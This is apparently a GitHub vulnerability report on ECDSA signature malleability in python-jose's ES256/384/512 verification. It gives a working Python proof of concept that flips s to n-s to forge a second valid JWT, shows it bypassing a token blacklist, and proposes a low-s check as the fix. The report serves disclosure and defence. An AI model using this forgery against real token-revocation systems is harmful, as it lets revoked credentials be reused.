-
Notifications
You must be signed in to change notification settings - Fork 259
Security vulnerability: ECDSA Signature Malleability #403
Description
Summary
python-jose does not enforce low-s normalization on ECDSA signatures. For any valid signature (r, s), (r, n-s) is also accepted. This produces two distinct JWT strings with identical claims, bypassing token blacklists and deduplication.
- Library: python-jose 3.5.0 (latest)
- Algorithms: ES256, ES384, ES512
Root Cause
Verification path: jws.verify() -> ECKey.verify() -> cryptography library -> ec.ECDSA(hashes.SHA256()) -> OpenSSL.
No step checks s <= n/2. OpenSSL accepts both s and n-s as mathematically valid.
Impact
An attacker who obtains a valid JWT can compute a second valid JWT (different bytes, same claims) without knowing the private key. If the application revokes tokens by storing the JWT string in a blacklist, the malleable variant bypasses it.
PoC
# poc.py
import sys, io
if sys.platform == "win32":
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
from jose import jwt, __version__
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
import base64
N = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
def b64url_dec(s):
return base64.urlsafe_b64decode(s + "=" * (4 - len(s) % 4))
def b64url_enc(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
# Generate ES256 key
private_key = ec.generate_private_key(ec.SECP256R1())
pub_pem = private_key.public_key().public_bytes(
serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
priv_pem = private_key.private_bytes(
serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
# Sign
token = jwt.encode({"sub": "user@example.com", "role": "admin"}, priv_pem, algorithm="ES256")
# Extract r, s
parts = token.split(".")
sig = b64url_dec(parts[2])
r, s = int.from_bytes(sig[:32], "big"), int.from_bytes(sig[32:64], "big")
s_prime = N - s
# Build malleable token
new_sig = r.to_bytes(32, "big") + s_prime.to_bytes(32, "big")
malleable = parts[0] + "." + parts[1] + "." + b64url_enc(new_sig)
print(f"ECDSA Malleability - python-jose {__version__}")
print("=" * 40)
print(f"Original s: {'low-s' if s <= N // 2 else 'HIGH-s'}")
print(f"Flipped s': {'low-s' if s_prime <= N // 2 else 'HIGH-s'}")
print(f"Tokens identical: {token == malleable}")
print()
# Verify original
try:
jwt.decode(token, pub_pem, algorithms=["ES256"])
print("[1] Original: VALID")
except Exception as e:
print(f"[1] Original: REJECTED - {e}")
# Verify malleable
try:
jwt.decode(malleable, pub_pem, algorithms=["ES256"])
print("[2] Malleable: VALID")
except Exception as e:
print(f"[2] Malleable: REJECTED - {e}")
# Blacklist bypass
blacklist = {token}
print()
print("[3] Blacklist bypass:")
print(f" Original in blacklist: {token in blacklist}")
print(f" Malleable in blacklist: {malleable in blacklist}")
if malleable not in blacklist:
print(" --> BLACKLIST BYPASSED")Reproduction
pip install python-jose[cryptography]
python poc.pyOutput:
[1] Original: VALID
[2] Malleable: VALID
[3] Blacklist bypass:
Original in blacklist: True
Malleable in blacklist: False
--> BLACKLIST BYPASSED
Recommended Fix
After ECDSA verification, reject if s > n // 2:
if s > n // 2:
raise JWSError('ECDSA signature s value not normalized')Precedent: Bitcoin enforced this in 2014 (BIP-62). Go's crypto/ecdsa enforced it in 2024.